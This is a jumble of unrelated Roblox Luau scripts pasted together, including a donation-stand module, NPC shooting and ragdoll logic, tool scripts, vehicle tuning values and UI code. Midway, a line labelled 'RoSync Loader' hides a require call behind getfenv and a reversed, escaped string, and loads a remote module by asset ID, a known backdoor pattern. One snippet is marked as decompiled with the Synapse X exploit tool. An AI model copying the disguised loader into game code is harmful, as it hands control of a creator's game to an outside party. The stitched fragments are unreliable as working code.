table.insert(allItems,item) end end print("Total items found:",#allItems) print("Sorting items by price ascending...") table.sort(allItems, function(a, b) return a["Product"]["PriceInRobux"] < b["Product"]["PriceInRobux"] end) for _, item in pairs(allItems) do local frame = script.Template:Clone() frame.ItemID.Value = item["Item"]["AssetId"] frame.Cost.Value = item["Product"]["PriceInRobux"] frame.ItemTypeId.Value = item["Item"]["AssetType"] frame.RobuxCost.Text = "$"..tostring(item["Product"]["PriceInRobux"]) frame.Parent = stand.Products.Items.ScrollingFrame end end module.clearStand = function(stand) print("Clearing stand...") stand.MessagePart.SurfaceGui.UserMessage.Text = "your text here" stand.Base.ClaimPrompt.Enabled = true stand.Base.ClaimedInfoDisplay.Enabled = false stand.Base.Unclaimed.Enabled = true stand.Claimed.Value = false stand.ClaimedUserName.Value = "" for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do if frame:IsA("Frame") then frame:Destroy() end end end module.updateStandsEarned = function() for _, stand in pairs(game.Workspace.Stands:GetChildren()) do if stand.Claimed.Value == true then local plr = game.Players:FindFirstChild(stand.ClaimedUserName.Value) if plr then stand.Base.ClaimedInfoDisplay.UserRaised.Text = "R$"..tostring(plr.leaderstats.Recieved.Value).." Raised" else print("no player but claimed") end end end end module.findItem = function(itemID) for _, stand in pairs(game.Workspace.Stands:GetChildren()) do for _, frame in pairs(stand.Products.Items.ScrollingFrame:GetChildren()) do if frame:IsA("Frame") then if frame.ItemID.Value == itemID then return frame end end end end end return module
--Working lightswitch.
function ToggleLight() if script.Parent.Parent.Parent.LightState.Value == false then script.Parent.Parent.Parent.LightState.Value = true script.Parent.BrickColor = BrickColor.new("Sea green") script.Parent.Parent.Parent.Lamp.Light.BrickColor = BrickColor.new("White") script.Parent.Parent.Parent.Lamp.Light.SpotLight.Enabled = true else script.Parent.Parent.Parent.LightState.Value = false script.Parent.BrickColor = BrickColor.new("Bright red") script.Parent.Parent.Parent.Lamp.Light.BrickColor = BrickColor.new("Black") script.Parent.Parent.Parent.Lamp.Light.SpotLight.Enabled = false end end script.Parent.ClickDetector.MouseClick:connect(ToggleLight)
-- MODULES --
local bezierTween = require(Modules.BezierTweens) local Waypoints = bezierTween.Waypoints
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 2 -- cooldown for use of the tool again ZoneModelName = "Lightning" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[ Constructs a new state object which can listen for updates on another state object. FIXME: enabling strict types here causes free types to leak ]]
local Package = script.Parent.Parent local PubTypes = require(Package.PubTypes) local Types = require(Package.Types) local initDependency = require(Package.Dependencies.initDependency) type Set<T> = {[T]: any} local class = {} local CLASS_METATABLE = {__index = class}
--// All global vars will be wiped/replaced except script
return function(data) local playergui = service.PlayerGui local localplayer = service.Players.LocalPlayer local gui = service.New("ScreenGui") local toggle = service.New("ImageButton", gui) local gTable = client.UI.Register(gui) if client.UI.Get("HelpButton", gui, true) then gui:Destroy() gTable:Destroy() return nil end gTable.Name = "HelpButton" gTable.CanKeepAlive = false toggle.Name = "Toggle" toggle.BackgroundTransparency = 1 toggle.Position = UDim2.new(1, -45, 1, -45) toggle.Size = UDim2.new(0, 40, 0, 40) toggle.Image = "http://www.roblox.com/asset/?id=7059706594" toggle.ImageTransparency = 0 --if client.UI.Get("Chat") then -- toggle.Position = UDim2.new(1, -(45+40),1, -45) --end toggle.MouseButton1Down:Connect(function() local found = client.UI.Get("UserPanel",nil,true) if found then found.Object:Destroy() else client.UI.Make("UserPanel",{}) end end) gTable:Ready() end
--[[ Last synced 12/13/2020 04:11 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources")); while not v1.Loaded do game:GetService("RunService").Heartbeat:Wait(); end; function Update() local v2 = v1.StatService.Get(); if not v2 then return; end; v1.Settings.VFXEnabled = v2.Settings.VFX == 1; v1.Settings.SFXEnabled = v2.Settings.SFX == 1; v1.Settings.MusicEnabled = v2.Settings.Music == 1; end; Update(); v1.Signal.Fired("Stat Changed"):Connect(function(p1) if p1 == "Settings" then Update(); end; end);
--[[ Dispatch an action to the store. This allows the store's reducer to mutate the state of the application by creating a new copy of the state. Listeners on the changed event of the store are notified when the state changes, but not necessarily on every Dispatch. ]]
function Store:dispatch(action) if typeof(action) == "table" then if action.type == nil then error("action does not have a type field", 2) end self._state = self._reducer(self._state, action) self._mutatedSinceFlush = true else error(("actions of type %q are not permitted"):format(typeof(action)), 2) end end
--[[ Specialized library for the plane's camera. Note my inconsistency by using "." accessors for methods instead of ":" accessors. Sorry. CamLock.Update() [Should be called every RenderStep] CamLock.Lock(planeModel) CamLock.Unlock() CamLock.SwitchView([reversed]) CamLock.SetMobileDeviceBank(bank) CamLock.SetRotation(horizontalRadians, verticalRadians) CamLock.DeltaRotation(deltaHorizontalRadians, deltaVerticalRadians) CamLock.ResetRotation() --]]
-- Indicate readiness
Component.Ready = true; return Component;
--
local sight = 120 local walking = false local shooting = false local canshoot = true local cansay = true local saycooldown = 0 local akweld = Instance.new("Weld", npc["AK-47"]) akweld.Part0 = rightarm akweld.Part1 = npc["AK-47"] function walkanim(walkspeed) if walkspeed > 5 then walking = true else walking = false end end npchumanoid.Running:connect(walkanim) function randomwalk() while wait(math.random(3,6)) do if not shooting and not walking then npchumanoid.WalkSpeed = 16 local function createwalkpart() local walkpart = Instance.new("Part", npc) walkpart.Size = Vector3.new(1,1,1) walkpart.Anchored = true walkpart.Material = "Neon" walkpart.Transparency = 1 walkpart.BrickColor = BrickColor.new("Maroon") walkpart.CFrame = torso.CFrame * CFrame.new(math.random(-60,60),math.random(-30,30),math.random(-60,60)) local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position) local waypoints = path:GetWaypoints() if path.Status == Enum.PathStatus.Success then for i,v in pairs(waypoints) do local pospart = Instance.new("Part", npc) pospart.Size = Vector3.new(1,1,1) pospart.Anchored = true pospart.Material = "Neon" pospart.Transparency = 1 pospart.Position = v.Position pospart.Name = "pospart" pospart.CanCollide = false end for i,v in pairs(waypoints) do npchumanoid:MoveTo(v.Position) local allow = 0 while (torso.Position - v.Position).magnitude > 4 and allow < 35 do allow = allow + 1 wait() end if v.Action == Enum.PathWaypointAction.Jump then npchumanoid.Jump = true end end for i,v in pairs(npc:GetChildren()) do if v.Name == "pospart" then v:destroy() end end else createwalkpart() wait() end walkpart:destroy() end createwalkpart() end end end function checkandshoot() while wait() do saycooldown = saycooldown + 1 if saycooldown == 500 then cansay = true saycooldown = 0 end for i,v in pairs(workspace:GetChildren()) do if v.ClassName == "Model" and v.Name ~= "collazio" then local victimhumanoid = v:findFirstChildOfClass("Humanoid") local victimhead = v:findFirstChild("Head") if victimhumanoid and victimhead and v.Name ~= npc.Name then if (victimhead.Position - head.Position).magnitude < sight then if victimhumanoid.Name == "Blackout" and cansay then elseif not shooting and victimhumanoid.Health > 0 and canshoot then shooting = true walking = false local doesshoot = 0 local hpnow = npchumanoid.Health local walk = 0 npchumanoid.WalkSpeed = 0 while shooting and (victimhead.Position - head.Position).magnitude < sight and victimhumanoid.Health > 0 and canshoot do doesshoot = doesshoot + 1 walk = walk + 1 if npchumanoid.PlatformStand == false then npc.HumanoidRootPart.CFrame = CFrame.new(npc.HumanoidRootPart.Position,Vector3.new(victimhead.Position.x,npc.HumanoidRootPart.Position.y,victimhead.Position.z)) end if walk == 100 and not walking then local function createwalkpart() local walkpart = Instance.new("Part", npc) walkpart.Size = Vector3.new(1,1,1) walkpart.Anchored = true walkpart.Material = "Neon" walkpart.Transparency = 1 walkpart.BrickColor = BrickColor.new("Maroon") walkpart.CFrame = torso.CFrame * CFrame.new(-math.random(20,60),math.random(-40,40),math.random(-10,10)) local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position) local waypoints = path:GetWaypoints() if path.Status == Enum.PathStatus.Success then shooting = false canshoot = false npchumanoid.WalkSpeed = 20 for i,v in pairs(waypoints) do local pospart = Instance.new("Part", npc) pospart.Size = Vector3.new(1,1,1) pospart.Anchored = true pospart.Material = "Neon" pospart.Transparency = 1 pospart.Position = v.Position pospart.Name = "pospart" pospart.CanCollide = false end for i,v in pairs(waypoints) do npchumanoid:MoveTo(v.Position) local allow = 0 while (torso.Position - v.Position).magnitude > 4 and allow < 35 do allow = allow + 1 wait() end if v.Action == Enum.PathWaypointAction.Jump then npchumanoid.Jump = true end end canshoot = true npchumanoid.WalkSpeed = 16 for i,v in pairs(npc:GetChildren()) do if v.Name == "pospart" then v:destroy() end end else createwalkpart() wait() end walkpart:destroy() end createwalkpart() end if doesshoot == 5 then doesshoot = 0 npc["AK-47"].shoot:Play() local bullet = Instance.new("Part", npc) bullet.Size = Vector3.new(0.3,0.3,3.5) bullet.Material = "Neon" bullet.CFrame = npc["AK-47"].CFrame * CFrame.new(0,0,-4) bullet.CanCollide = false local velocity = Instance.new("BodyVelocity", bullet) velocity.MaxForce = Vector3.new(math.huge,math.huge,math.huge) bullet.CFrame = CFrame.new(bullet.Position, victimhead.Position) velocity.Velocity = bullet.CFrame.lookVector * 500 + Vector3.new(math.random(-25,25),math.random(-25,25),0) local pointlight = Instance.new("PointLight", npc["AK-47"]) game.Debris:AddItem(pointlight,0.1) local function damage(part) local damage = math.random(10,50) if part.Parent.ClassName ~= "Accessory" and part.Parent.Parent.ClassName ~= "Accessory" and part.ClassName ~= "Accessory" and part.Parent.Name ~= npc.Name and part.CanCollide == true then bullet:destroy() local victimhumanoid = part.Parent:findFirstChildOfClass("Humanoid") if victimhumanoid then if victimhumanoid.Health > damage then victimhumanoid:TakeDamage(damage) else victimhumanoid:TakeDamage(damage) end end end end game.Debris:AddItem(bullet, 5) bullet.Touched:connect(damage) end wait() end walking = false shooting = false end end end end end end end function run() while wait() do local hpnow = npchumanoid.Health wait() if npchumanoid.Health < hpnow then local dorun = math.random(1,1) if dorun == 1 and not walking then local function createwalkpart() local walkpart = Instance.new("Part", npc) walkpart.Size = Vector3.new(1,1,1) walkpart.Anchored = true walkpart.Material = "Neon" walkpart.Transparency = 1 walkpart.BrickColor = BrickColor.new("Maroon") walkpart.CFrame = torso.CFrame * CFrame.new(math.random(20,60),math.random(-20,20),math.random(-60,60)) local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, walkpart.Position) local waypoints = path:GetWaypoints() if path.Status == Enum.PathStatus.Success then shooting = false canshoot = false walking = true npchumanoid.WalkSpeed = 20 for i,v in pairs(waypoints) do local pospart = Instance.new("Part", npc) pospart.Size = Vector3.new(1,1,1) pospart.Anchored = true pospart.Material = "Neon" pospart.Transparency = 1 pospart.Position = v.Position pospart.Name = "pospart" pospart.CanCollide = false end for i,v in pairs(waypoints) do npchumanoid:MoveTo(v.Position) local allow = 0 while (torso.Position - v.Position).magnitude > 4 and allow < 35 do allow = allow + 1 wait() end if v.Action == Enum.PathWaypointAction.Jump then npchumanoid.Jump = true end end shooting = false canshoot = true walking = false npchumanoid.WalkSpeed = 16 for i,v in pairs(npc:GetChildren()) do if v.Name == "pospart" then v:destroy() end end else createwalkpart() wait() end walkpart:destroy() end createwalkpart() end end end end function death() if head:findFirstChild("The Prodigy - Voodoo People (Pendulum Remix)") then head["The Prodigy - Voodoo People (Pendulum Remix)"]:destroy() end if npc:findFirstChild("Health") then npc.Health.Disabled = true end npchumanoid.Archivable = true local zombiecorpse = npchumanoid.Parent:Clone() npchumanoid.Parent:destroy() zombiecorpse.Parent = workspace game.Debris:AddItem(zombiecorpse, 15) local Humanoid = zombiecorpse:findFirstChildOfClass("Humanoid") local Torso = zombiecorpse.Torso Humanoid.PlatformStand = true Humanoid:SetStateEnabled("Dead", false) for i,v in pairs(Humanoid.Parent.Torso:GetChildren()) do if v.ClassName == 'Motor6D' or v.ClassName == 'Weld' then v:destroy() end end for i,v in pairs(zombiecorpse:GetChildren()) do if v.ClassName == "Part" then for q,w in pairs(v:GetChildren()) do if w.ClassName == "BodyPosition" or w.ClassName == "BodyVelocity" then w:destroy() end end end end local function makeconnections(limb, attachementone, attachmenttwo, twistlower, twistupper, upperangle) local connection = Instance.new('BallSocketConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.TwistLimitsEnabled = true connection.TwistLowerAngle = twistlower connection.TwistUpperAngle = twistupper connection.UpperAngle = 70 end local function makehingeconnections(limb, attachementone, attachmenttwo, twistlower, twistupper, upperangle) local connection = Instance.new('HingeConstraint', limb) connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.LimitsEnabled = true connection.LowerAngle = twistlower connection.UpperAngle = twistupper end Humanoid.Parent['Right Arm'].RightShoulderAttachment.Position = Vector3.new(0, 0.5, 0) Torso.RightCollarAttachment.Position = Vector3.new(1.5, 0.5, 0) Humanoid.Parent['Left Arm'].LeftShoulderAttachment.Position = Vector3.new(0, 0.5, 0) Torso.LeftCollarAttachment.Position = Vector3.new(-1.5, 0.5, 0) local RightLegAttachment = Instance.new("Attachment", Humanoid.Parent["Right Leg"]) RightLegAttachment.Position = Vector3.new(0, 1, 0) local TorsoRightLegAttachment = Instance.new("Attachment", Torso) TorsoRightLegAttachment.Position = Vector3.new(0.5, -1, 0) -- local LeftLegAttachment = Instance.new("Attachment", Humanoid.Parent["Left Leg"]) LeftLegAttachment.Position = Vector3.new(0, 1, 0) local TorsoLeftLegAttachment = Instance.new("Attachment", Torso) TorsoLeftLegAttachment.Position = Vector3.new(-0.5, -1, 0) -- if Humanoid.Parent:findFirstChild("Head") then local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head) HeadAttachment.Position = Vector3.new(0, -0.5, 0) makehingeconnections(Humanoid.Parent.Head, HeadAttachment, Torso.NeckAttachment, -20, 20, 70) end makeconnections(Humanoid.Parent['Right Arm'], Humanoid.Parent['Right Arm'].RightShoulderAttachment, Torso.RightCollarAttachment, -80, 80) makeconnections(Humanoid.Parent['Left Arm'], Humanoid.Parent['Left Arm'].LeftShoulderAttachment, Torso.LeftCollarAttachment, -80, 80) makeconnections(Humanoid.Parent['Right Leg'], RightLegAttachment, TorsoRightLegAttachment, -80, 80, 70) makeconnections(Humanoid.Parent['Left Leg'], LeftLegAttachment, TorsoLeftLegAttachment, -80, 80, 70) if Humanoid.Parent:findFirstChild("Right Arm") then local limbcollider = Instance.new("Part", Humanoid.Parent["Right Arm"]) limbcollider.Size = Vector3.new(1,1.3,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = Humanoid.Parent["Right Arm"] limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0) for i,v in pairs(zombiecorpse["Right Arm"]:GetChildren()) do if v.ClassName == 'Motor6D' or v.ClassName == 'Weld' then v:destroy() end end end -- if Humanoid.Parent:findFirstChild("Left Arm") then local limbcollider = Instance.new("Part", Humanoid.Parent["Left Arm"]) limbcollider.Size = Vector3.new(1,1.3,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = Humanoid.Parent["Left Arm"] limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0) end -- if Humanoid.Parent:findFirstChild("Left Leg") then local limbcollider = Instance.new("Part", Humanoid.Parent["Left Leg"]) limbcollider.Size = Vector3.new(1,1.3,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = Humanoid.Parent["Left Leg"] limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0) end -- if Humanoid.Parent:findFirstChild("Right Leg") then local limbcollider = Instance.new("Part", Humanoid.Parent["Right Leg"]) limbcollider.Size = Vector3.new(1,1.3,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = Humanoid.Parent["Right Leg"] limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.4,0,0) end local ragdoll = zombiecorpse if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll.HumanoidRootPart.CanCollide = false ragdoll.HumanoidRootPart:destroy() end end npchumanoid.Died:connect(death) spawn(run) spawn(checkandshoot) spawn(randomwalk) while wait() do --check animations and other things if not walking and not shooting then for i = 0.2,0.8 , 0.09 do if not walking and not shooting then akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.599619389, -1.99128425, 0, 0.996194661, 0.087155968, 0, -0.087155968, 0.996194661, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.599619389, -1.99128449, 0, 0.996194661, -0.087155968, 0, 0.087155968, 0.996194661, 0, 0, 0, 1),i) root.C0 = root.C0:lerp(CFrame.new(0,0,0),i) neck.C0 = neck.C0:lerp(CFrame.new(0,1.5,0),i) wait() end end end if walking then --this is the walking animation for i = 0.2,0.8 , 0.09 do if walking then akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.527039051, -1.78302765, 0.642787695, 0.999390841, 0.026734557, 0.0224329531, -0.0348994918, 0.765577614, 0.642395973, 0, -0.642787635, 0.766044438),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.522737741, -1.65984559, -0.766044617, 0.999390841, -0.0224329531, 0.0267345682, 0.0348994918, 0.642395794, -0.765577734, 0, 0.766044497, 0.642787457),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.996194661, 6.98491931e-09, -0.0871561021, 0.00759615982, 0.996194661, 0.0868242308, 0.0868244469, -0.087155886, 0.992403805),i) neck.C0 = neck.C0:lerp(CFrame.new(2.38418579e-07, 1.49809694, 0.0435779095, 0.996194661, 6.38283382e-09, 0.0871560946, 0.00759615889, 0.996194601, -0.0868242308, -0.0868244469, 0.087155886, 0.992403746),i) wait() end end head.footstep:Play() for i = 0.2,0.8 , 0.09 do if walking then akweld.C0 = akweld.C0:lerp(CFrame.new(-0.583096504, -1.87343168, 0.0918724537, 0.808914721, -0.582031429, 0.0830438882, -0.166903317, -0.0918986499, 0.981681228, -0.56373775, -0.807956576, -0.171481162),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.32261992, 0.220639229, -0.279059082, 0.766044497, 0.604022682, -0.219846413, -0.492403805, 0.331587851, -0.804728508, -0.413175881, 0.724711061, 0.551434159),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.16202736, -0.00836706161, -0.880517244, 0.939692557, -0.342020094, -2.98023224e-08, 0.171009958, 0.46984598, -0.866025567, 0.296198159, 0.813797832, 0.499999642),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.520322084, -1.59067655, -0.819151878, 0.999390841, 0.0200175196, -0.028587997, -0.0348994918, 0.573226929, -0.818652987, 0, 0.819151998, 0.57357645),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.528892756, -1.83610249, 0.573575974, 0.999390841, -0.0285879895, -0.020017527, 0.0348994955, 0.818652987, 0.57322675, -7.4505806e-09, -0.573576212, 0.819152057),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.996194661, -1.44354999e-08, 0.0871558934, -0.00759615237, 0.996194661, 0.0868244395, -0.0868242383, -0.0871560946, 0.992403805),i) neck.C0 = neck.C0:lerp(CFrame.new(0, 1.49809742, 0.0435781479, 0.996194601, -1.27129169e-08, -0.0871559009, -0.0075961519, 0.996194661, -0.0868244097, 0.0868242458, 0.0871560723, 0.992403746),i) wait() end end head.footstep:Play() end if shooting then --this is the shooting animation for i = 0.2,0.8 , 0.45 do if shooting then akweld.C0 = akweld.C0:lerp(CFrame.new(-0.109231472, -2.24730468, -0.300003052, 0.984807491, 1.94707184e-07, 0.173647866, -0.173648044, -2.68220873e-07, 0.984807491, 3.67846468e-07, -0.999999821, -8.00420992e-08),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.173648223, 0, -0.98480773, 0, 1, 0, 0.98480773, 0, 0.173648223),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.21384871, 0.500000477, -0.879925251, 0.342019856, 0.939692438, -1.49501886e-08, 1.94707184e-07, -2.68220873e-07, -0.999999821, -0.939692438, 0.342020035, -3.76157232e-07),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.59201181, 0.470158577, -0.794548988, 0.271118939, 0.181368172, 0.945304275, 0.902039766, -0.390578717, -0.18377316, 0.335885108, 0.902526498, -0.269494623),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.681244373, -2.07163191, 0, 0.98480773, 0.173648283, 0, -0.173648283, 0.98480767, 0, 0, -1.86264515e-09, 0.99999994),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.681244612, -2.07163191, -4.76837158e-07, 0.98480773, -0.173648283, 0, 0.173648283, 0.98480767, 0, 0, 1.86264515e-09, 0.99999994),i) neck.C0 = neck.C0:lerp(CFrame.new(0.0296957493, 1.49240398, -0.0815882683, 0.336824059, 0.059391167, 0.939692557, -0.173648164, 0.98480773, -7.4505806e-09, -0.925416589, -0.163175896, 0.342020094),i) wait() end end for i = 0.2,0.8 , 0.45 do if shooting then akweld.C0 = akweld.C0:lerp(CFrame.new(-0.109231472, -2.24730468, -0.300003052, 0.984807491, 1.94707184e-07, 0.173647866, -0.173648044, -2.68220873e-07, 0.984807491, 3.67846468e-07, -0.999999821, -8.00420992e-08),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.173648223, 0, -0.98480773, 0, 1, 0, 0.98480773, 0, 0.173648223),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(1.60777056, 0.499999523, -0.81046629, 0.342019439, 0.939691842, 1.55550936e-07, 4.10554577e-08, -3.93739697e-07, -0.999999464, -0.939691901, 0.342019975, -4.77612389e-07),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.10000956, 0.482372284, -0.926761627, 0.27112025, 0.263066441, 0.925899446, 0.902039289, -0.405109912, -0.149033815, 0.335885197, 0.875603914, -0.347129732),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.681244373, -2.07163191, 0, 0.98480773, 0.173648283, 0, -0.173648283, 0.98480767, 0, 0, -1.86264515e-09, 0.99999994),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.681244612, -2.07163191, -4.76837158e-07, 0.98480773, -0.173648283, 0, 0.173648283, 0.98480767, 0, 0, 1.86264515e-09, 0.99999994),i) neck.C0 = neck.C0:lerp(CFrame.new(0.121206045, 1.4753027, -0.0450725555, 0.336823881, 0.221664757, 0.915103495, -0.173648164, 0.969846308, -0.171010077, -0.925416648, -0.101305753, 0.365159094),i) wait() end end end end
--Rescripted by Luckymaxer
Tool = script.Parent.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Gravity = 196.20 JumpHeightPercentage = 0.25 ToolEquipped = false function GetAllConnectedParts(Object) local Parts = {} local function GetConnectedParts(Object) for i, v in pairs(Object:GetConnectedParts()) do local Ignore = false for ii, vv in pairs(Parts) do if v == vv then Ignore = true end end if not Ignore then table.insert(Parts, v) GetConnectedParts(v) end end end GetConnectedParts(Object) return Parts end function SetGravityEffect() if not GravityEffect or not GravityEffect.Parent then GravityEffect = Instance.new("BodyForce") GravityEffect.Name = "GravityCoilEffect" GravityEffect.Parent = Torso end local TotalMass = 0 local ConnectedParts = GetAllConnectedParts(Torso) for i, v in pairs(ConnectedParts) do if v:IsA("BasePart") then TotalMass = (TotalMass + v:GetMass()) end end local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage)) GravityEffect.force = Vector3.new(0, TotalMass, 0) end function HandleGravityEffect(Enabled) if not CheckIfAlive() then return end for i, v in pairs(Torso:GetChildren()) do if v:IsA("BodyForce") then v:Destroy() end end for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do if v then v:disconnect() end end if Enabled then CurrentlyEquipped = true ToolUnequipped = Tool.Unequipped:connect(function() CurrentlyEquipped = false end) SetGravityEffect() DescendantAdded = Character.DescendantAdded:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) DescendantRemoving = Character.DescendantRemoving:connect(function() wait() if not CurrentlyEquipped or not CheckIfAlive() then return end SetGravityEffect() end) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if HumanoidDied then HumanoidDied:disconnect() end HumanoidDied = Humanoid.Died:connect(function() if GravityEffect and GravityEffect.Parent then GravityEffect:Destroy() end end) HandleGravityEffect(true) ToolEquipped = true end function Unequipped() if HumanoidDied then HumanoidDied:disconnect() end HandleGravityEffect(false) ToolEquipped = false end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--- Decode/uncompress
Compress.Decode = function(str) --- Attempt to decode string local decoded = Decode(str) --- Decode nil? if not decoded then _L.Print("Failed to decode string", true) return end -- return decoded end
--[[Steering]]
Tune.SteerInner = 49 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 50 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .02 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 150 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
-- Function to bind to equip event
local function equip() local character = player.Character local humanoid = character.Humanoid -- Setup joint variables if humanoid.RigType == Enum.HumanoidRigType.R6 then local torso = character.Torso neck = torso.Neck shoulder = torso["Right Shoulder"] elseif humanoid.RigType == Enum.HumanoidRigType.R15 then neck = character.Head.Neck shoulder = character.RightUpperArm.RightShoulder end oldNeckC0 = neck.C0 oldShoulderC0 = shoulder.C0 -- Remember old mouse icon and update current oldIcon = mouse.Icon mouse.Icon = "http://www.roblox.com/asset/?id=79658449" -- Bind TouchMoved event if on mobile. Otherwise connect to renderstepped if userInputService.TouchEnabled then connection = userInputService.TouchMoved:connect(mobileFrame) else connection = render:connect(pcFrame) end -- Bind TouchStarted and TouchEnded. Used to determine if character should rotate -- during touch input userInputService.TouchStarted:connect(function(touch, processed) mobileShouldTrack = not processed end) userInputService.TouchEnded:connect(function(touch, processed) mobileShouldTrack = false end) -- If game uses filtering enabled then need to update server while tool is -- held by character. if workspace.FilteringEnabled then while connection and connection.Connected do wait() game.ReplicatedStorage.ROBLOX_RocketUpdateEvent:FireServer(neck.C0, shoulder.C0) end end end
-- Services
local DebrisService = game:GetService("Debris") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local PlayersService = game:GetService("Players")
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 150
-- Roblox Services
local HttpService = game:GetService( "HttpService" )
--[Variables]--
local Lowest = 0.4 local Pitch = Lowest
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function PressL(key) if (key== "l") then if (Activate==false) then game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=true game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "Neon" game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Brick yellow") Activate = true elseif (Activate==true) then game.Players.LocalPlayer.Character.Helmet.LS.Light.Enabled=false game.Players.LocalPlayer.Character.Helmet.Flashlight.Material = "SmoothPlastic" game.Players.LocalPlayer.Character.Helmet.Flashlight.BrickColor = BrickColor.new("Black") Activate=false end end end Mouse.KeyDown:connect(PressL)
